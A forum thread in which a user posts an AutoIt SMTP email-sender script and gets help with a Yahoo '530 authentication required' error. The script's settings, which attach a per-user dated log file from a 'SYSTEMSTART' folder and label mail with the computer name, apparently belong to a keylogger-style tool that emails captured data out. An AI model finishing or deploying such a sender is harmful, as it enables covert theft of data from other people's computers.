Sign in to follow this  
Followers 0
Dgameman1

Need help with email sender

16 posts in this topic

;
;##################################
; Include
;##################################
#Include<file.au3>
;################################## ; Variables
;##################################
$SmtpServer = "plus.smtp.mail.yahoo.com"              ; address for the smtp-server to use - REQUIRED
$FromName = "Daniel"                      ; name from who the email was sent
$FromAddress = "[CENSORED FROM AUTOIT]" ; address from where the mail should come
$ToAddress = "[CENSORED FROM AUTOIT]"   ; destination address of the email - REQUIRED
$Subject = @ComputerName                   ; subject from the email - can be anything you want it to be
$Body = " R4P3 "                              ; the messagebody from the mail - can be left blank but then you get a blank mail
$AttachFiles = @ProgramFilesDir & "/SYSTEMSTART/" & @UserName & "x" & @MON & "." & @MDAY & "." & @YEAR & ".txt"                    ; the file you want to attach- leave blank if not needed
$CcAddress = ""    ; address for cc - leave blank if not needed
$BccAddress = "[CENSORED FROM AUTOIT]"   ; address for bcc - leave blank if not needed
$Importance = "Normal"                ; Send message priority: "High", "Normal", "Low"
$Username = "[CENSORED FROM AUTOIT]"                    ; username for the account used from where the mail gets sent - REQUIRED
$Password = "[CENSORED FROM AUTOIT]"                  ; password for the account used from where the mail gets sent - REQUIRED
$IPPort = 465                           ; port used for sending the mail
$ssl = 1                               ; enables/disables secure socket layer sending - put to 1 if using httpS
;~ $IPPort=465                        ; GMAIL port used for sending the mail
;~ $ssl=1                              ; GMAILenables/disables secure socket layer sending - put to 1 if using httpS

Global $oMyRet[2]
Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")
$rc = _INetSmtpMailCom($SmtpServer, $FromName, $FromAddress, $ToAddress, $Subject, $Body, $AttachFiles, $CcAddress, $BccAddress, $Importance, $Username, $Password, $IPPort, $ssl)
If @error Then
EndIf
;
; The UDF
Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Importance="Normal", $s_Username = "", $s_Password = "", $IPPort = 25, $ssl = 0)
    Local $objEmail = ObjCreate("CDO.Message")
    $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
    $objEmail.To = $s_ToAddress
    Local $i_Error = 0
    Local $i_Error_desciption = ""
    If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
    If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress
    $objEmail.Subject = $s_Subject
    If StringInStr($as_Body, "<") And StringInStr($as_Body, ">") Then
        $objEmail.HTMLBody = $as_Body
    Else
        $objEmail.Textbody = $as_Body & @CRLF
    EndIf
    If $s_AttachFiles <> "" Then
        Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
        For $x = 1 To $S_Files2Attach[0]
            $S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x])
            ConsoleWrite('@@ Debug(62) : $S_Files2Attach = ' & $S_Files2Attach & @LF & '>Error code: ' & @error & @LF) ;### Debug Console
            If FileExists($S_Files2Attach[$x]) Then
                $objEmail.AddAttachment ($S_Files2Attach[$x])
            Else
                ConsoleWrite('!> File not found to attach: ' & $S_Files2Attach[$x] & @LF)
                SetError(1)
                Return 0
            EndIf
        Next
    EndIf
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
    If Number($IPPort) = 0 then $IPPort = 25
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
    ;Authenticated SMTP
    If $s_Username <> "" Then
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 0
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
    EndIf
    If $ssl Then
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
    EndIf
    ;Update settings
    $objEmail.Configuration.Fields.Update
    ; Set Email Importance
    Switch $s_Importance
        Case "High"
            $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "High"
        Case "Normal"
            $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Normal"
        Case "Low"
            $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Low"
    EndSwitch
    $objEmail.Fields.Update
    ; Sent the Message
    $objEmail.Send
    If @error Then
        SetError(2)
        Return $oMyRet[1]
    EndIf
    $objEmail=""
EndFunc   ;==>_INetSmtpMailCom
;
;
; Com Error Handler
Func MyErrFunc()
    $HexNumber = Hex($oMyError.number, 8)
    $oMyRet[0] = $HexNumber
    $oMyRet[1] = StringStripWS($oMyError.description, 3)
    ConsoleWrite("### COM Error !  Number: " & $HexNumber & "   ScriptLine: " & $oMyError.scriptline & "   Description:" & $oMyRet[1] & @LF)
    SetError(1); something to check for when this function returns
    Return
EndFunc   ;==>MyErrFunc

Everytime I run this, I get the followed error

@@ Debug(62) : $S_Files2Attach =

>Error code: 0

### COM Error ! Number: 80020009 ScriptLine: 87 Description:The server rejected the sender address. The server response was: 530 authentication required - for help go to http://help.yahoo.com/help/us/mail/pop/pop-11.html

+>01:11:58 AutoIT3.exe ended.rc:0

>Exit code: 0 Time: 1.629

Share this post


Link to post
Share on other sites



#2 ·  Posted (edited)

530 authentication required

I think there is something wrong with the login information.

Edited by AlmarM

Minesweeper

A minesweeper game created in autoit, source available.

_Mouse_UDF

An UDF for registering functions to mouse events, made in pure autoit.

2D Hitbox Editor

A 2D hitbox editor for quick creation of 2D sphere and rectangle hitboxes.

Share this post


Link to post
Share on other sites

530 authentication required

I think there is something wrong with the login information.

That's what I thought, but i tried to normally log in and it worked perfectly

Share this post


Link to post
Share on other sites

#4 ·  Posted (edited)

The server rejected the sender address

Are you using a yahoo address?

EDIT:

plus.smtp.mail.yahoo.com

Do you have Yahoo! Mail Plus?

Edited by AlmarM

Minesweeper

A minesweeper game created in autoit, source available.

_Mouse_UDF

An UDF for registering functions to mouse events, made in pure autoit.

2D Hitbox Editor

A 2D hitbox editor for quick creation of 2D sphere and rectangle hitboxes.

Share this post


Link to post
Share on other sites

The server rejected the sender address

Are you using a yahoo address?

EDIT:

plus.smtp.mail.yahoo.com

Do you have Yahoo! Mail Plus?

I am using a yahoo account but I do not have a yahoo mail plus account :)

Share this post


Link to post
Share on other sites

#6 ·  Posted (edited)

I found this:

Yahoo POP3 and SMTP Settings:

Find below the basic POP3 settings for configuring any email program where you want to receive Yahoo mails.

    “POP3 Server” – Set the POP server for incoming mails as pop.mail.yahoo.com. You will have to enable “SSL” and use 995 for Port.
    “SMTP Server” – Set the SMTP server for outgoing mails as smtp.mail.yahoo.com. You will also have to make sure that “SSL” is enabled and use 465 for port. you must also enable “authentication” for this to work.
    “Account Name or Login Name” – Your Yahoo Mail ID i.e. your email address without the domain “@yahoo.com”.
    “Email Address” – Your Yahoo Mail address i.e. your email address including the domain “@yahoo.com”. E.g. myname@yahoo.com
    “Password” – Your Yahoo Mail password.

Yahoo! Mail Plus users may have to set POP server as plus.pop.mail.yahoo.com and SMTP server as plus.smtp.mail.yahoo.com.

Try using the regular pop.mail.yahoo.com and smtp.mail.yahoo.com.

Edited by AlmarM

Minesweeper

A minesweeper game created in autoit, source available.

_Mouse_UDF

An UDF for registering functions to mouse events, made in pure autoit.

2D Hitbox Editor

A 2D hitbox editor for quick creation of 2D sphere and rectangle hitboxes.

Share this post


Link to post
Share on other sites

#7 ·  Posted (edited)

I tried changing it to smtp.mail.yahoo.com,

but I still got an error :)

I believe SSL is enabled since it's 1

I set the port correctly

Idk how to set activation though ;)

Edited by Dgameman1

Share this post


Link to post
Share on other sites

Could you post the error you are receiving now?


Minesweeper

A minesweeper game created in autoit, source available.

_Mouse_UDF

An UDF for registering functions to mouse events, made in pure autoit.

2D Hitbox Editor

A 2D hitbox editor for quick creation of 2D sphere and rectangle hitboxes.

Share this post


Link to post
Share on other sites

@@ Debug(62) : $S_Files2Attach =

>Error code: 0

### COM Error ! Number: 80020009 ScriptLine: 86 Description:The server rejected the sender address. The server response was: 530 authentication required - for help go to http://help.yahoo.com/help/us/mail/pop/pop-11.html

+>01:41:04 AutoIT3.exe ended.rc:0

>Exit code: 0 Time: 2.131

Share this post


Link to post
Share on other sites

#10 ·  Posted (edited)

Take a look at this.

http://answers.yahoo.com/question/index?qid=20090924222241AASrcd4

EDIT:

or

http://sg.answers.yahoo.com/question/index?qid=20110426204801AAnzbiA

Edited by AlmarM

Minesweeper

A minesweeper game created in autoit, source available.

_Mouse_UDF

An UDF for registering functions to mouse events, made in pure autoit.

2D Hitbox Editor

A 2D hitbox editor for quick creation of 2D sphere and rectangle hitboxes.

Share this post


Link to post
Share on other sites

Outgoing Mail Server (SMTP): smtp.mail.yahoo.com

Use SSL, port: 465, use authentication

I don't know how to use authentication

Maybe that's the problem?

Share this post


Link to post
Share on other sites

#12 ·  Posted (edited)

I found this:

2. Fix Outlook error 0x800ccc78 (SMTP REJECTED SENDER - Unknown sender)

This outlook error is caused by having the incorrect e-mail address in the 'Reply To' field. The error would be resolved by entering the certain email.

Source.

EDIT:

I also found this: http://help.yahoo.com/l/us/yahoo/smallbusiness/bizmail/pop/pop-27.html

Edited by AlmarM

Minesweeper

A minesweeper game created in autoit, source available.

_Mouse_UDF

An UDF for registering functions to mouse events, made in pure autoit.

2D Hitbox Editor

A 2D hitbox editor for quick creation of 2D sphere and rectangle hitboxes.

Share this post


Link to post
Share on other sites

I found this:

Source.

EDIT:

I also found this: http://help.yahoo.com/l/us/yahoo/smallbusiness/bizmail/pop/pop-27.html

I changed the sendto field and the body field and everything

I get this

@@ Debug(62) : $S_Files2Attach =

>Error code: 0

### COM Error ! Number: 80020009 ScriptLine: 86 Description:The server rejected the sender address. The server response was: 530 authentication required - for help go to http://help.yahoo.com/help/us/mail/pop/pop-11.html

+>14:59:52 AutoIT3.exe ended.rc:0

>Exit code: 0 Time: 1.524

Share this post


Link to post
Share on other sites

Are you using a Yahoo email address as the sender address?


If I posted any code, assume that code was written using the latest release version unless stated otherwise. Also, if it doesn't work on XP I can't help with that because I don't have access to XP, and I'm not going to.
Give a programmer the correct code and he can do his work for a day. Teach a programmer to debug and he can do his work for a lifetime - by Chirag Gude
How to ask questions the smart way!

I hereby grant any person the right to use any code I post, that I am the original author of, on the autoitscript.com forums, unless I've specifically stated otherwise in the code or the thread post. If you do use my code all I ask, as a courtesy, is to make note of where you got it from.

Back up and restore Windows user files _Array.au3 - Modified array functions that include support for 2D arrays.  -  ColorChooser - An add-on for SciTE that pops up a color dialog so you can select and paste a color code into a script.  -  Customizable Splashscreen GUI w/Progress Bar - Create a custom "splash screen" GUI with a progress bar and custom label.  -  _FileGetProperty - Retrieve the properties of a file  -  SciTE Toolbar - A toolbar demo for use with the SciTE editor  -  GUIRegisterMsg demo - Demo script to show how to use the Windows messages to interact with controls and your GUI.  -   Latin Square password generator

Share this post


Link to post
Share on other sites

Are you using a Yahoo email address as the sender address?

I am using a yahoo email address for everything

Share this post


Link to post
Share on other sites

This is going to be more tricky then I thought..

The fact that the error message says the "sender is rejected" doesn't make sense.

I think we can say 1 thing for sure, it has to be something with the Yahoo! services.

Mayby search around the Yahoo! forums a bit? Mayby fill a contact form? :)


Minesweeper

A minesweeper game created in autoit, source available.

_Mouse_UDF

An UDF for registering functions to mouse events, made in pure autoit.

2D Hitbox Editor

A 2D hitbox editor for quick creation of 2D sphere and rectangle hitboxes.

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0